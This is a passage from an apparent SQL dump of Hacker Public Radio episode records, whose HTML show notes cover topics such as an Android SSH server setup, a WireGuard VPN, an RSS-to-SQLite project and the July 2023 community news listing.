href=\"https://hackerpublicradio.org/eps/hpr3628/fig5.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig5_thumbnail.jpg\" alt=\"Figure 5\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 6</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig6.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig6_thumbnail.jpg\" alt=\"Figure 6\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 7</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig7.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig7_thumbnail.jpg\" alt=\"Figure 7\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 8</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig8.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig8_thumbnail.jpg\" alt=\"Figure 8\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 9</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig9.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig9_thumbnail.jpg\" alt=\"Figure 9\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 10</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig10.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig10_thumbnail.jpg\" alt=\"Figure 10\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 11.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig11.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig11.0_thumbnail.0.jpg\" alt=\"Figure 11.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 11.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig11.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig11.1_thumbnail.1.jpg\" alt=\"Figure 11.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 12.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig12.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig12.0_thumbnail.0.jpg\" alt=\"Figure 12.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 12.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig12.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig12.1_thumbnail.1.jpg\" alt=\"Figure 12.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n',401,0,0,'CC-BY-SA','computer,mobile,bms,power',0,0,1),
(3632,'2022-07-05','Intro to web scraping with Python',1915,'Using requests and Beautiful Soup to scrape websites','<p>A beginner introduction to web scraping with Python.</p>\n',78,25,0,'CC-BY-SA','python, web, internet',0,0,1),
(3633,'2022-07-06','The collective history of RAID controller brands',821,'Computer memory is a generic term for all of the different types of data storage technology that a c','<p><a href=\"https://www.enterprisestorageforum.com/hardware/types-of-computer-memory/\" class=\"uri\">https://www.enterprisestorageforum.com/hardware/types-of-computer-memory/</a></p>\n',129,0,0,'CC-BY-SA','memory, sdram,ddr, dram, ssd, hhd',0,0,1),
(3652,'2022-08-02','Registered memory',690,'Not to be confused with ECC memory, although memory modules often use both technologies.','<p><a href=\"https://en.wikipedia.org/wiki/Registered_memory\" class=\"uri\">https://en.wikipedia.org/wiki/Registered_memory</a></p>\n<p><a href=\"https://www.futureplus.com/ddr4-3ds-dimms-the-next-big-thing-in-the-data-center/\" class=\"uri\">https://www.futureplus.com/ddr4-3ds-dimms-the-next-big-thing-in-the-data-center/</a></p>\n',129,0,0,'CC-BY-SA','R-Dimm,DD4,3DS',0,0,1),
(3635,'2022-07-08','A short podcast on a nice tool called system-monitoring-center',243,'This is a short podcast on a nice tool called system-monitoring-center','<p>GitHub repo where you can find system-monitoring-center:<br />\n<a href=\"https://github.com/hakandundar34coding/system-monitoring-center\" class=\"uri\">https://github.com/hakandundar34coding/system-monitoring-center</a></p>\n',369,23,0,'CC-BY-SA','system-monitoring-center, linux',0,0,1),
(3638,'2022-07-13','Ken drops a bear on his android phone',316,'How to enable sftp using a sshd server on android/lineageos','<p>I have previously used <a href=\"https://f-droid.org/en/packages/org.primftpd/\" class=\"uri\">https://f-droid.org/en/packages/org.primftpd/</a> to enable sftp to my android phone</p>\r\n<p>For more information on How to mount remote storage using sshfs, see <a href=\"https://hackerpublicradio.org/eps.php?id=1944\">hpr1944 :: sshfs - Secure SHell FileSystem</a></p>\r\n<p>Also you will need to know about some useful tools for working with Android Devices <a href=\"https://hackerpublicradio.org/eps.php?id=3515\">hpr3515 :: ADB and scrcpy</a></p>\r\n<p><img src=\"eps/hpr3638/thumb-01-simplesshd-icon.png\" alt=\"simplesshd-icon\" /></p>\r\n<p>I found <a href=\"https://www.galexander.org/software/simplesshd/\" class=\"uri\">https://www.galexander.org/software/simplesshd/</a></p>\r\n<p>SimpleSSHD is an SSH2 server based on dropbear that supports scp, sftp, and rsync. It only supports public-key based authentication (no password/interactive auth except for bootstrapping). It does not use root, which means it must listen on a port over 1024 (defaults to port 2222).</p>\r\n<h2 id=\"install-from-fdroid\">Install from fdroid</h2>\r\n<p><a href=\"https://f-droid.org/en/packages/org.galexander.sshd\" class=\"uri\">https://f-droid.org/en/packages/org.galexander.sshd</a></p>\r\n<p><a href=\"eps/hpr3638/02-SimpleSSHD.jpeg\"><img src=\"eps/hpr3638/thumb-02-SimpleSSHD.jpeg\" alt=\"Start Screen\" /></a> </p>\r\n<p><a href=\"eps/hpr3638/03-port-number.jpeg\"><img src=\"eps/hpr3638/thumb-03-port-number.jpeg\" alt=\"Changing Port Number\" /></a> </p>\r\n<p><a href=\"eps/hpr3638/04-path.jpeg\"><img src=\"eps/hpr3638/thumb-04-path.jpeg\" alt=\"Changing Path\" /></a> </p>\r\n<h2 id=\"before\">before</h2>\r\n<pre>\r\nlaptop$ adb root\r\nlaptop$ adb shell\r\nphone: # cd /data/user/0/org.galexander.sshd/files\r\nphone:/data/user/0/org.galexander.sshd/files # ls -al\r\ntotal 56\r\ndrwxrwx--x 2 u0_a268 u0_a268 4096 2022-06-17 12:06 .\r\ndrwx------ 6 u0_a268 u0_a268 4096 2022-06-17 11:59 ..\r\n-rw-rw-rw- 1 root    root     490 2022-06-17 12:05 authorized_keys\r\n-rw------- 1 u0_a268 u0_a268  475 2022-06-17 12:07 dropbear.err\r\n-rw------- 1 u0_a268 u0_a268  650 2022-06-17 12:03 dropbear.err.old\r\n-rw------- 1 u0_a268 u0_a268    6 2022-06-17 12:06 dropbear.pid\r\n-rw------- 1 u0_a268 u0_a268   83 2022-06-17 12:03 dropbear_ed25519_host_key\r\n</pre>\r\n<h2 id=\"commands-to-run\">Commands to run</h2>\r\n<pre>\r\nphone:/data/user/0/org.galexander.sshd/files # restorecon -F authorized_keys\r\nSELinux: Loaded file_contexts\r\nphone:/data/user/0/org.galexander.sshd/files # chmod 600 authorized_keys\r\nphone:/data/user/0/org.galexander.sshd/files # chown u0_a268:u0_a268 authorized_keys\r\n</pre>\r\n<h2 id=\"after\">after</h2>\r\n<pre>\r\nphone:/data/user/0/org.galexander.sshd/files # ls -al\r\ntotal 56\r\ndrwxrwx--x 2 u0_a268 u0_a268 4096 2022-06-17 12:06 .\r\ndrwx------ 6 u0_a268 u0_a268 4096 2022-06-17 11:59 ..\r\n-rw------- 1 u0_a268 u0_a268  490 2022-06-17 12:05 authorized_keys\r\n-rw------- 1 u0_a268 u0_a268  475 2022-06-17 12:07 dropbear.err\r\n-rw------- 1 u0_a268 u0_a268  650 2022-06-17 12:03 dropbear.err.old\r\n-rw------- 1 u0_a268 u0_a268    6 2022-06-17 12:06 dropbear.pid\r\n-rw------- 1 u0_a268 u0_a268   83 2022-06-17 12:03 dropbear_ed25519_host_key\r\n\r\nlaptop$ sshfs -p 2222 192.168.1.123: /mnt/phone/\r\n</pre>\r\n',30,0,0,'CC-BY-SA','SimpleSSHD,SSH2,dropbear,android,lineageos,primitive ftpd',0,0,1),
(3642,'2022-07-19','Interview with a Hacker: Vitaliy',5954,'We go back ... WAY BACK to golden days of hacking','<p>Lost interview I never uploaded!</p>\n',36,0,1,'CC-BY-SA','interviews,hacking,pentesting',0,0,1),
(3645,'2022-07-22','How to set up a small Linux Wireguard VPN',855,'I set up a small VPN and wrote a blog post about it. This is just an audiorecording of that','<p>The blogpost where I describe how to set up a Wireguard VPN network:<br />\n<a href=\"https://www.jeroenbaten.nl/the-complete-guide-to-setting-up-a-multi-peer-wireguard-vpn/\" class=\"uri\">https://www.jeroenbaten.nl/the-complete-guide-to-setting-up-a-multi-peer-wireguard-vpn/</a></p>\n',369,61,0,'CC-BY-SA','wireguard,linux, vpn',0,0,1),
(3648,'2022-07-27','A response to tomorrows show',1682,'Ken brings the DeLorean up to 141.6Kph to address monochromec\'s comment on stats','<hr />\r\n<h3>\r\nCounter Point\r\n</h3>\r\n<p>\r\nThis show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3649\">hpr3649 :: Linux Inlaws S01E61: 20 years in review</a>\r\n</p>\r\n<hr />\r\n<p><em>There are three kinds of lies: <a href=\"https://en.wikipedia.org/wiki/Lies%2C_damned_lies%2C_and_statistics\">Lies, damned lies, and statistics</a></em></p>\r\n<p>In today\'s show we discover that Hacker Public Radio is <strong>not</strong> a Podcast Hosting Platform.</p>\r\n<p>Each day your show will be heard by as many people as can squeeze into the main auditorium at FOSDEM, or between two and three <a href=\"https://en.wikipedia.org/wiki/Airbus_A380\">Airbus A380-800</a>. You know the big double decker passenger plane. Every month we have on average 33,584 downloads, that\'s about 40 fully loaded <a href=\"https://en.wikipedia.org/wiki/Airbus_A380\">Airbus A380-800</a>.</p>\r\n<p><a href=\"https://commons.wikimedia.org/wiki/File:FOSDEM%2712_-_Opening_Talk.jpg\"><img src=\"eps/hpr3648/thumb-FOSDEM12-Opening_Talk.jpg\" alt=\"\" /></a></p>\r\n<p>Podcast \"Hosting\" Sites, like Spotify, Apple Podcast or Google Podcasts, etc. do not host the media, they are essentially monetizing Hacker Public Radio content. And we are all absolutely fine with that because our shows are released under a <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">Creative Commons Attribution-ShareAlike 3.0 Unported license</a>.</p>\r\n<p><a href=\"eps/hpr3648/10-actual_hpr_downloads.png\"><img src=\"eps/hpr3648/thumb-10-actual_hpr_downloads.png\" alt=\"actual_hpr_downloads\" /></a></p>\r\n<p>Every one of those dots is a download that is <strong>not without cost</strong>, but is provided <strong>entirely free of charge</strong> to us by our kind hosting Provider <a href=\"https://anhonesthost.com/hosting/shared-hosting\">AnHonestHost.com</a> and the volunteer project <a href=\"https://archive.org/donate/\">the Internet Archive</a>. Both of which donates terabytes of storage and data transfer to us for free.</p>\r\n<p>The people to thank are our own <a href=\"https://hackerpublicradio.org/correspondents/0174.html\">Josh Knapp</a> over at <a href=\"https://anhonesthost.com/hosting/shared-hosting\">AnHonestHost.com</a>, who provides the Hacker Public Radio web site.</p>\r\n<p>And <a href=\"https://archive.org/donate/\">the Internet Archive</a> which is an American digital library with the stated mission of \"universal access to all knowledge\", who provide hosting for the media.</p>\r\n<p>\r\n<strong>For more details, <a href=\"eps/hpr3648/index.html\">see the full show notes</a>.</strong>\r\n</p>\r\n',30,0,1,'CC-BY-SA','statistics,syndication,reality',0,0,1),
(3637,'2022-07-12','HPR feed to Sqlite',454,'First step in creating a static copy of HPR','<ul>\n<li>Mailing list discussion - Source Code for the HPR website\n<ul>\n<li>What are the best ways to reproduce the HPR site using a static site generator.</li>\n<li>I would like the DB to be made public, but I understand why that may not be possible</li>\n</ul></li>\n</ul>\n<p>One interesting thing I read during the discussion is Ken said Every thing needed to recreate an HPR site is in the feed</p>\n<ul>\n<li>Challenge accepted\n<ul>\n<li>A lot of my toy projects have been around RSS and podcasts</li>\n<li>I am working on a Episode describing a project I did looking for podcasts that have podfaded.</li>\n<li>I starting thinking about what data is in the feed and thinking through a process for using the RSS data to recreate the HPR site</li>\n</ul></li>\n<li>Project\n<ul>\n<li>Link to Project <a href=\"https://gitlab.com/norrist/hprfeed2db\" class=\"uri\">https://gitlab.com/norrist/hprfeed2db</a></li>\n</ul></li>\n<li>DATA pulled directly from feed\n<ul>\n<li><p>explicit</p></li>\n<li><p>title</p></li>\n<li><p>author_name</p></li>\n<li><p>author_email</p></li>\n<li><p>link</p></li>\n<li><p>description</p></li>\n<li><p>summary - I think this is the same as description</p></li>\n<li><p>pubdate</p></li>\n<li><p>enclosures</p></li>\n<li><p>Episode ID - extracted from title - HPR2341</p></li>\n<li><p>feedparser and peewee</p></li>\n<li><p>full feed to SQLite specs</p>\n<ul>\n<li>40 Seconds on <strong>My Machine</strong></li>\n<li>20M hpr.sqlite</li>\n</ul></li>\n</ul></li>\n<li>Notably Missing from the RSS feeds\n<ul>\n<li>Episode Series</li>\n<li>Episode Tags</li>\n</ul></li>\n<li>Next steps\n<ul>\n<li>markdown from db info\n<ul>\n<li>Main page</li>\n<li>Corespondent pages</li>\n<li>Episode pages</li>\n<li>comments from comments feed</li>\n</ul></li>\n<li>Manually build other markdown for static pages</li>\n<li>about, contributing, ...</li>\n<li>Static site generator</li>\n<li>I don\'t think the tags are in the feed data</li>\n</ul></li>\n</ul>\n<pre class=\"bash\"><code>git clone https://gitlab.com/norrist/hprfeed2db\ncd hprfeed2db/\npython3 -m venv venv\nsource venv/bin/activate\npip install feedparser peewee\npython data_models.py\npython feed.py\nsqlite3 hpr.sqlite &quot;select count(*) from episode&quot;</code></pre>\n',342,0,0,'CC-BY-SA','python, rss, sqlite',0,0,1),
(3916,'2023-08-07','HPR Community News for July 2023',4533,'HPR Volunteers talk about shows released and comments posted in July 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html\" target=\"_blank\">3891</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html\" target=\"_blank\">HPR Community News for June 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html\" target=\"_blank\">3892</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html\" target=\"_blank\">Emacs package curation, part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3893/index.html\" target=\"_blank\">3893</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3893/index.html\" target=\"_blank\">Game card design resources</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html\" target=\"_blank\">3894</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html\" target=\"_blank\">The Page 42 Show: Ugly News Week, Show\'s Epoch!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3895/index.html\" target=\"_blank\">3895</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3895/index.html\" target=\"_blank\">What\'s in my backpack</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0408.html\" target=\"_blank\">Stache_AF</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html\" target=\"_blank\">3896</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html\" target=\"_blank\">The Brochs of Glenelg</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3897/index.html\" target=\"_blank\">3897</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3897/index.html\" target=\"_blank\">HPR AudioBook Club 22 - Murder at Avedon Hill</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3898/index.html\" target=\"_blank\">3898</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3898/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3899/index.html\" target=\"_blank\">3899</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3899/index.html\" target=\"_blank\">Repair corrupt video files for free with untruc</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0383.html\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html\" target=\"_blank\">3900</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html\" target=\"_blank\">Preparing Podcasts for Listening</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html\" target=\"_blank\">3901</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html\" target=\"_blank\">Time Managment</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html\" target=\"_blank\">3902</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html\" target=\"_blank\">Introduction to a new series on FFMPEG</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0300.html\" target=\"_blank\">Mr. Young</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html\" target=\"_blank\">3903</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html\" target=\"_blank\">Why I don\'t love systemd (yet)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0073.html\" target=\"_blank\">deepgeek</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html\" target=\"_blank\">3904</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html\" target=\"_blank\">How to make friends</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3905/index.html\" target=\"_blank\">3905</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3905/index.html\" target=\"_blank\">Presenting Fred Black</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0309.html\" target=\"_blank\">folky</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3906/index.html\" target=\"_blank\">3906</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3906/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3907/index.html\" target=\"_blank\">3907</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3907/index.html\" target=\"_blank\">My introduction show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3908/index.html\" target=\"_blank\">3908</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3908/index.html\" target=\"_blank\">Emacs package curation, part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html\" target=\"_blank\">3909</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html\" target=\"_blank\">Permission tickets. </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0398.html\" target=\"_blank\">one_of_spoons</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html\" target=\"_blank\">3910</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html\" target=\"_blank\">Playing Civilization II</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3911/index.html\" target=\"_blank\">3911</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3911/index.html\" target=\"_blank\">An overview of the \'ack\' command</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 20 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html#comments\" target=\"_blank\">hpr3876</a></strong>\n(2023-06-12) \"<em>Recording An Episode For Hacker Public Radio</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0419.html\" target=\"_blank\">Ryuno-Ki</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-01:\n\"Good information about recording\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html#comments\" target=\"_blank\">hpr3883</a></strong>\n(2023-06-21) \"<em>Emergency Show: How to demonstrate the power of condensing steam</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-15:\n\"Clap!\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#comments\" target=\"_blank\">hpr3889</a></strong>\n(2023-06-29) \"<em>comm - compare two sorted files line by line</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-07-08:\n\"KDirStat is dead, long live QDirStat!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2023-07-12:\n\"QDirstat is nice but I meant kdiff3\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#comments\" target=\"_blank\">hpr3891</a></strong>\n(2023-07-03) \"<em>HPR Community News for June 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2023-07-03:\n\"solocast updates\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2023-07-04:\n\"My truck\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#comments\" target=\"_blank\">hpr3892</a></strong>\n(2023-07-04) \"<em>Emacs package curation, part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2023-07-05:\n\"I love this topic\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-07-11:\n\"Do it!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html#comments\" target=\"_blank\">hpr3894</a></strong>\n(2023-07-06) \"<em>The Page 42 Show: Ugly News Week, Show\'s Epoch!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-07-08:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#comments\" target=\"_blank\">hpr3896</a></strong>\n(2023-07-10) \"<em>The Brochs of Glenelg</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-07-29:\n\"Ruins\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#comments\" target=\"_blank\">hpr3900</a></strong>\n(2023-07-14) \"<em>Preparing Podcasts for Listening</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#1\" target=\"_blank\">Comment 1</a>:\nHipstre on 2023-07-14:\n\"Limiter/GPodder\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#2\" target=\"_blank\">Comment 2</a>:\nEugene on 2023-07-16:\n\"No need for podcast preprocessing\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2023-07-17:\n\"Sansa Clip+\"</li></ul><br/>\n</li><li><strong><a 